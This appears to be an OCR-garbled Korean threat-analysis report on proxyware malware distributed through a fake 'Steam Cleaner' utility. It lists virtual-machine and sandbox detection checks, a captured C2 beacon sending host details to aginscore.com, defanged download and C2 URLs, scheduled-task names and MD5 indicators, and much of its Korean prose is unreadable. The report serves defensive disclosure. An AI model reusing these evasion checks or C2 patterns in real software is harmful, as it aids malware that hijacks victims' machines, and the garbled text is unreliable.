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<> Code (@ Issues 29 11 Pull requests 2 ® Actions [ Projects @ Security |~ Insights

¥ master ~ F o Q Gotofile About

us A PC utility for restoring disk space

params,json Create master branch via GitHub 9 years ago
Releases 15

Andrew Sampson Merge pull request #69 from SudoA.., BB 166f7ad . 5 years ago 9 72 Commits from various game clients like Orig'ln_.
Steam, Uplay, Battle.net, GoG and Nexon
B vs/SteamCleaner/vl5/Server/sql... Add Rainway branding to main Ul 7 years ago us
B SteamCleaner Update RedisFileFinder.cs 7 years ago & andrew.im/
I stylesheets Create master branch via GitHub 9 years ago M Readme
. i g8 GPL-3.0 license
D gitignore Slashes 7 years ago
‘A Activity
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& 93 watching
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o ne e > ¥ 94 forks
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< Steam Cleaner - O X

Game Paths: Status:

0 files found (0 B)

Redistributables:
File Size
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cmdvrt32.dll

cmdvrt64.dll
kernel32.dll:wine_get_unix_file_name()
SbieDIl.dlI

cuckoomon.dll

SxIn.dll

balloon.sys
netkvm.sys
vioinput
viofs.sys
vioser.sys
VBoxMouse.sys
VBoxGuest.sys
VBoxSF.sys
VBoxVideo.sys
vmmouse.sys

vboxogl.dll

SELECT * FROM Win32_PortConnector
Select * from Win32_ComputerSystem

« MICROSOFT CORPORATION
e VIRTUAL
« VMWARE
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[Directory]

C:\Program Files\VMware
C:\Program Files\oracle\virtualbox guest additions
[Named Pipe]
\\.\pipe\cuckoo

\\HGFS

\\.\vmci
\\.\VBoxMiniRdrDN
\\.\VBoxGuest
\\.\pipe\VBoxMiniRdDN
\\.\VBoxTraylPC
\\.\pipe\VBoxTraylPC

I ZAM|A  vboxservice
VGAuthService
vmusrvc

gemu-ga

O|=F ofd AL L R0l =350 MZEE PowerShell 3HE =523t = Aot sifE G2 Al
AHI0f| Node.jsE MR|5H, F 72| C2REE| AM{Z CIE 21 Node.js AT EE CIRZ =5 A
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A0E /e A2 ZE MSSICt 5l|EH 2| User-Agent &= 1} Cf| 0| E{ 2| agent_version &S0t X}0| 71 Q!
oof, s Xto| ™2 of2l &=o| ™E|SHAULY.
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POST /d HTTP/1.1

host: aginscore.com

connection: keep-alive
Content-Type: application/json
accept: */*

accept-language: *

sec-fetch-mode: cors

user-agent: node

accept-encoding: br, gzip, deflate
content-length: 271

{
"os_type": "Windows_NT",
"os_name": "win32",
"os_release": "10.0.22631",
"os_version": "Windows 11 Pro",
"os_hostname": "DESKTOP-XXXXXXx", //PC O|E
"os_arch": "x64",
"machine_id": "XXXXXXXX=XXXX=XXXX=XXXX=XXXXXXXXXXXX", //EX| GUID
"agent_version": "17.2.7",
"session_id": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" //21=E Hex
}
X M Node.js AT EHE = C22| SHO| 2} £ URLO|A uF°'° ZEEot =i otd =S
AliSt= CMD, PowerShell 52| H&d 2 Algisr &~ QIC} Of2H E 2| “agent_version” &= 2 C22
HMEE= JSONHO|EZ, AT ES| B2 &2|5t7] st M%XE =Y =L
M| A2 C:\WCM\{UUID)\UUID

A AF|=8{ A2 Microsoft/Windows/WCM/WiFiSpeedScheduler

C2EZE= URL hxxps://rt-guard[.Jcom/updates/KB80164432
ot A= MDS Sea776ca7dccac71138a6e92a4f5c934
(Downloader/JS.Proxyware.SC291258)
C2 rt-guard[.Jcom
4tressx[.Jcom
kuchiku[.]digital

screenner|.Jcom
SERE Rl = User-Agent insomnia/2023.4.0. Windows

“agent_version” “0.3.0”

FE
N
12
0z
|>
Y
L]

EFE 29K1)

9/11



& I Node.js AT EE= C22RE Y S M
St= 715E Btk A B A3 E= URLE QX2 2ot s URLOIM T2 2 =6
PowerShell 52| 2|8 T2 MAE AR5 A85HD], F HMj ATFZEE WO E MY
Node.js Atx[ 2] & &2 (exec) &S Soll Al sitt=

710l HE =0 o EM= o{-AH S

[l
>
0

2 C:\WindowsSetting{UUIDAUUID

o AF||=e| A2  Microsoft/Windows/Diagnosis/RecommendedDiagnosisScheduler

1T =e —

n
[0
Hu
In
c
oy
—

hxxps://uuu.rgfefxsal.]xyz/cab.js

804957e501ee0443632ea675353326d4
(Trojan/JS.Proxyware.SC295915)

12
0x
I
In
=
O
()]

C2 aginscore[.Jcom
M= |0 E User-Agent node
“agent_version” “17.2.7°
T3 A8 AFEE MEH Q92K2)
2M YA £ ATEE 2F C20|M Bl PYOS S SIS0l S SolE = UMUK B vl
%3t K80l ot A=} B ProxywareS MX|SHs WS SEB0[2{0] UL SHRIRH lo| HHY
Also| 75t M T =0l 0t Bt o =of w2t LI 2 AN TS E MRSt #9lE THssta
2 Fo7t "Wesic
O|Xof| =el=l Proxyware 7= A0l CHet L& & Otz ASEC E21E & 115tH &bt
e REEH EUMLCIPEC AMO|ENM R =l Proxyware &t A=
e REH EAMLCIRZC AO|ENAM 3 =9I Proxyware 2t A= — 2

Flef ol & HRIE =7(7| ?loH YA =200t REE|EIZ YUSHA 2| &et et T =T} K|
4 5

D= zfEst Fo|7t €5ttt 59, MEle & gl= #u 0| XL HFLIE]

MD5
062ff9107c8e7b7972120bc4acOcd5e8

29eddc32acb16d8ce71b18190de04e81

10/11


https://asec.ahnlab.com/ko/89293/
https://asec.ahnlab.com/ko/89737/

39f41537c02e9f516c2de9dee5e9c5e0
3bb7cd8779318093093d98b99f9d4631

501fb628c426e3b393a8c61aaa2bed51
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URL
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